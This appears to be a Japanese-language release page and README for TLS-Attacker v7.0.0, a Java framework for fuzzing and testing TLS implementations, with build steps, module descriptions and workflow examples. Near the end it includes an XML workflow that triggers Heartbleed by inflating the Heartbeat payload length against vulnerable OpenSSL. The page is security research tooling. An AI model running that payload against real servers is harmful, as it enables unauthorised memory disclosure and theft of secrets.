アップデート一覧に戻る
New releaseJul 31, 2026

TLS-Attacker v7.0.0-rtc

Javaベースのフレームワークで、TLSライブラリの体系的なファジングと解析を可能にします。任意のプロトコルメッセージの作成、変更、および脆弱性発見のためのTLSクライアント/サーバーのテストを可能にします。

共有

TLS-Attacker

GitHub release (latest by date) licence Build Status

TLS-Attackerは、TLSライブラリを分析するためのJavaベースのフレームワークです。任意の順序で任意のプロトコルメッセージをTLSピアに送信し、提供されたインターフェースを使用してその変更を定義できます。これにより、開発者はカスタムTLSプロトコルフローを簡単に定義し、自身のTLSライブラリに対してテストすることができます。

注意: TLS-AttackerはTLS開発者やペネトレーションテスター向けの研究ツールです。GUIや成功/失敗を示す表示はありません。

コンパイルと実行

TLS-Attackerをコンパイルして使用するには、JavaとMavenがインストールされている必要があります。Ubuntuでは、以下のコマンドでMavenをインストールできます。

$ sudo apt-get install maven

TLS-Attackerは現在、実行にJava JDK 21が必要です。

適切なJavaバージョンがあれば、TLS-Attackerディレクトリからmavenコマンドを実行できます。

$ git clone https://github.com/tls-attacker/TLS-Attacker.git
$ cd TLS-Attacker
$ mvn clean install

または、急いでいる場合は、以下のようにテストをスキップできます。

$ mvn clean install -DskipTests=true

生成されたjarファイルは 'apps' フォルダに配置されます。

このプロジェクトを依存関係として使用する場合、自分でコンパイルする必要はなく、以下のようにpom.xmlに含めることができます。

<dependency>
    <groupId>de.rub.nds.tls.attacker</groupId>
    <artifactId>tls-attacker</artifactId>
    <version>7.0.0</version>
    <type>pom</type>
</dependency>

TLS-Attackerには、TLS-Attackerの機能に簡単にアクセスできるデモアプリケーションが付属しています。

以下のコマンドでTLS-Attackerをクライアントとして実行できます。

$ cd apps
$ java -jar TLS-Client.jar -connect [host:port]

またはサーバーとして：

$ java -jar TLS-Server.jar -port [port]

これらのサンプルアプリケーションはそれ自体非常に強力ですが、TLS-Attackerはプログラミングライブラリとして使用されたときにその真価を発揮します。

コード構造

TLS-Attackerはいくつかの（Maven）プロジェクトで構成されています：

  • TLS-Client: クライアントのサンプルアプリケーション
  • TLS-Core: プロトコルスタックおよびTLS-Attackerの中核
  • TLS-Mitm: MitMワークフローのプロトタイプ
  • TLS-Server: サーバーのサンプルアプリケーション
  • TLS-Proxy: SSLSocketsにTLS-Attackerを使用
  • TraceTool: TLS-Attackerワークフロートレースの検査と修正
  • Transport: 下位層のトランスポートユーティリティ
  • Utils: ユーティリティクラスのコレクション

TLS-Attacker design

これらのモジュールの詳細についてはWikiを参照してください。

機能

現在、以下の機能がサポートされています：

  • SSL 3、TLSバージョン1.0（RFC-2246）、1.1（RFC-4346）、1.2（RFC-5246）、1.3（RFC-8446）
  • SSL 2（部分サポート）
  • (EC)DH(E)、RSA、PSK、SRP、GOST、ANON鍵交換アルゴリズム
  • CBC、AEAD、ストリーム暗号（AES、CAMELLIA、DES、3DES、IDEA、RC2、ARIA、GOST_28147_CNT_IMIT、RC4、SEED、NULL）
  • 約300の暗号スイート、約30の拡張
  • クライアントとサーバー
  • HTTPS
  • 3者以上のワークフロー
  • 多数の拡張
  • Tokenbinding (EC) およびTokenbinding over HTTP
  • ソケット
  • TLS 1.3 0-RTT
  • STARTTLS
  • ...

使用法

ここでは、TLS-Attackerの使用に関する非常に簡単な例を示します。

まず、TLSサーバーを起動する必要があります（パブリックサーバーは使用しないでください）。まだ実行していない場合は、keygen.shスクリプトを実行してください。例えば、OpenSSLテストサーバーを使用できます：

$ cd TLS-Attacker/resources
$ openssl s_server -key rsa1024key.pem -cert rsa1024cert.pem

このコマンドはポート4433でTLSサーバーを起動します。

サーバーに接続するには、次のコマンドを使用できます：

$ cd TLS-Attacker/apps
$ java -jar TLS-Client.jar -connect localhost:4433

注：このハンドシェイクが失敗した場合、具体的な暗号スイートを指定していないことが原因である可能性があります。TLS-Attackerはサーバーが選択した暗号スイートを完全には尊重しません。

以下のパラメータを使用して、異なる暗号スイート、TLSバージョン、または別のポートに接続できます：

$ java -jar TLS-Client.jar -connect localhost:4433 -cipher TLS_RSA_WITH_AES_256_CBC_SHA -version TLS11

より経験豊富な開発者であれば、Javaコードを書いて独自のTLSメッセージフローを作成できます。例えば：

Config config = Config.createConfig();
WorkflowTrace trace = new WorkflowTrace();
trace.addTlsAction(new SendAction(new ClientHelloMessage()));
trace.addTlsAction(new ReceiveAction(new ServerHelloMessage()));
State state = new State(config, trace);
DefaultWorkflowExecutor executor = new DefaultWorkflowExecutor(state);
executor.executeWorkflow();

TLS-AttackerはWorkflowTraceの概念を使用して「TLSメッセージフロー」を定義します。WorkflowTraceは一連のアクションのリストで構成され、それらが順に実行されます。典型的な「TLSメッセージフロー」ではSendActionとReceiveActionのみが必要ですが、フレームワークはこれに留まらず、さらに任意のメッセージフローを実行するためのさまざまな他のアクションを実装しています。現在実装されているアクションのリストと説明はWikiにあります。

多くの方がJavaを嫌っていることは承知しています。そのため、XML構造を使用して、カスタマイズしたTLSプロトコルをXMLから実行することもできます：

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workflowTrace>
    <!-- Send ClientHello -->
    <Send>
        <configuredMessages>
            <ClientHello>
                <extensions>
                    <ECPointFormat/>
                    <EllipticCurves/>
                    <SignatureAndHashAlgorithmsExtension/>
                    <RenegotiationInfoExtension/>
                </extensions>
            </ClientHello>
        </configuredMessages>
        <configuredRecords>
            <record/>
        </configuredRecords>
    </Send>
    
    <!-- Receive server response -->
    <Receive>
        <expectedMessages>
            <ServerHello>
                <extensions>
                    <ECPointFormat/>
                    <RenegotiationInfoExtension/>
                </extensions>
            </ServerHello>
            <Certificate/>
            <ServerHelloDone/>
        </expectedMessages>
    </Receive>
    
    <!-- Send client key exchange and finish -->
    <Send>
        <configuredMessages>
            <RSAClientKeyExchange/>
            <ChangeCipherSpec/>
            <Finished/>
        </configuredMessages>
        <configuredRecords>
            <record/>
            <record/>
            <record/>
        </configuredRecords>
    </Send>
    
    <!-- Receive server finish -->
    <Receive>
        <expectedMessages>
            <ChangeCipherSpec/>
            <Finished/>
        </expectedMessages>
    </Receive>
</workflowTrace>

このXML構造がTLS-Attacker/apps/workflow.xmlに配置されている場合、以下のコマンドを実行するだけです：

$ java -jar TLS-Client.jar -connect [host]:[port] -workflow_input workflow.xml

Protocol-Attacker/レイヤーシステム

もともとはTLSプロトコルを攻撃するために設計されましたが、TLS-Attackerは任意のプロトコルをサポートできます。そのために、TLS-Attackerは各接続にレイヤースタックを割り当てます。このレイヤースタックは、ユーザーが利用したいさまざまなプロトコルレイヤーで構成されます。レイヤースタックを使用すると、ユーザーはDTLSやHTTP（他は作業中）などのレイヤーを任意の順序で追加できます。

レイヤースタックを使用して任意のメッセージを送受信するために、ユーザーは各レイヤーの設定を定義できます。これらの設定は、送信または受信するメッセージを指定します。これにより、ユーザーは各レイヤーに固有のメッセージ/データコンテナを指定することもできます。例えば、TLS-Attackerが送信するTLSメッセージとレコードを指定できます。TLS-Attackerは指定されたTLSメッセージを自動的にレコードにカプセル化します。

変更可能変数

TLS-Attackerは変更可能変数（Modifiable Variables）の概念を使用して、事前定義されたワークフローに対する実行時の変更を可能にします。変更可能変数を使用すると、値が実際に設定された後または前に、基本型への変更を設定できます。実際の値が決定され、ゲッターを介して値にアクセスしようとすると、元の値がそれに応じて変更された形式で返されます。この概念の詳細は https://github.com/tls-attacker/ModifiableVariable にあります。

ModifiableInteger i = new ModifiableInteger();
i.setOriginalValue(30);
i.setModification(new AddModification(20));
System.out.println(i.getValue());  // 50

この例では、新しいModifiableIntegerを定義し、その値を30に設定しました。次に、2つの整数の合計を返すAddModificationという新しい変更を定義し、その値を20に設定しました。上記のプログラムを実行すると、結果として50が出力されます。

もちろん、この概念をTLSワークフローを構築して使用することもできます。サーバーにHeartbleed脆弱性がないかテストしたいとします。そのためには、Heartbeatリクエストのペイロード長を増やす必要があります。TLS-Attackerでは、次のように行うことができます：

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workflowTrace>
    <Send>
        <configuredMessages>
            <ClientHello>
                <extensions>
                    <ECPointFormat/>
                    <HeartbeatExtension/>
                    <EllipticCurves/>
                </extensions>
            </ClientHello>
        </configuredMessages>
    </Send>
    <Receive>
        <expectedMessages>
            <ServerHello>
                <extensions>
                    <ECPointFormat/>
                </extensions>
            </ServerHello>
            <Certificate/>
            <ServerHelloDone/>
        </expectedMessages>
    </Receive>
    <Send>
        <configuredMessages>
            <RSAClientKeyExchange>
                <computations/>
            </RSAClientKeyExchange>
            <ChangeCipherSpec/>
            <Finished/>
        </configuredMessages>
    </Send>
    <Receive>
        <expectedMessages>
            <ChangeCipherSpec/>
            <Finished/>
        </expectedMessages>
    </Receive>
    <Send>
        <configuredMessages>
            <Heartbeat>
                <payloadLength>
                    <modifications>
                        <integerExplicitValueModification>
                            <explicitValue>20000</explicitValue>
                        </integerExplicitValueModification>
                    </modifications>
                </payloadLength>
            </Heartbeat>
        </configuredMessages>
    </Send>
    <Receive>
        <expectedMessages>
            <Heartbeat/>
        </expectedMessages>
    </Receive>
</workflowTrace>

ご覧の通り、Heartbeatメッセージのペイロード長を明示的に20000増やしました。脆弱なサーバー（例：OpenSSL 1.0.1f）に対して攻撃を実行すると、有効なHeartbeat応答が表示されるはずです。

攻撃のさらなる例やTLS-Attackerの詳細な説明はWikiにあります。

高度な機能

一部のアクションは正しく実行するためにコンテキストや設定を必要とします。例えば、TLS-AttackerがClientHelloメッセージを送信しようとする場合、どの暗号スイートやプロトコルバージョンを使用するかなど、メッセージに入れる値を知る必要があります。TLS-Attackerはこの情報を設定ファイル（デフォルトではTLS-Core/src/main/resources/default_config.xmlにあります）から取得します。実行時に決定される値はTlsContextに格納されます。通常コンテキストから選択される値が（メッセージがまだ受信されていないために）欠落している場合、設定からのデフォルト値が選択されます。コマンドラインから'-config'パラメータを使用して独自の設定ファイルを指定できます。設定ファイルでデフォルト値を明示的に定義しない場合、TLS-Attackerはハードコードされた値（提供されるデフォルト設定と同等）でこのギャップを埋めることに注意してください。TLS-Attackerのカスタマイズ方法の詳細はWikiにあります。

謝辞

TLS-Attackerプロジェクトに貢献してくださったすべての方々に感謝いたします。

特に以下の方々の顕著な貢献に感謝します：

Muhammad Abubakar, Fabian Albert, Panneer Selvam Annadurai, Nimrod Aviram, Philipp Brinkmann, Till Budde, Florian Bürger, Christoph Buttler, Jens Carl, Raphael Dietrich, Felix Dreissig, Bastian Ebach, Malena Ebert, Robert Engel, Nils Engelbertz, Paul Fiterau Brostean, Janis Fliegenschmidt, Alexander Freiherr von Buddenbrock, Matthias Manfred Geuchen, Alexander Glasfort, Nils Hanke, Lucas Hartmann, Bastian Haverkamp, Nico Heitmann, Jannik Hölling, Selami Hoxha, Kevin Jagla, Nils Kafka, Jan Kaiser, Anton Khristoforov, Felix Kleine-Wilde, Mario Korth, Sebastian Krois, Christian Krug, Florian Linsner, Christian Mainka, Jonas Moos, Simon Nachtigall, Simon Nattefort, Philipp Nieting, Niels Pahl, Christoph Penkert, Florian Pfützenreuter, Adrian Pinner, Malte Poll, Christian Pressler, Tim Reisach, Philip Riese, Nils Luca Rudminat, Henrik Schaefer, Marten Schmidt, Conrad Schmidt, Daniel Siegert, Tim Storm, Rigers Sulku, Bjarne Tempel, Matthias Terlinde, Jonas Thiele, Pierre Tilhaus, Joshua Waldner, Patrick Weixler, Philipp Wirth, Asli Yardim, Dennis Ziebart, David Ziemann, Philipp Ziemke

さらなる貢献やプルリクエストを歓迎します。

学術論文

TLS-Attackerの背後にある基本概念といくつかの攻撃は以下の論文で説明されています：

以下に、TLS-Attackerを利用した最近の学術研究をリストします。完全なリストはWikiにあります。

研究のアイデアやサポートが必要な場合は、Twitter（@ic0nz1、@jurajsomorovsky、@marcelmaehren、@nerinola1、@JonSnowWhite2）または https://www.hackmanit.de/ までお気軽にお問い合わせください。

TLS-AttackerがTLS実装のバグ発見に役立った場合は、このツールを謝辞に含めてください。ありがとうございます！

もっと読む

カテゴリ

脆弱性分析ファジングネットワークセキュリティ暗号化ペネトレーションテスト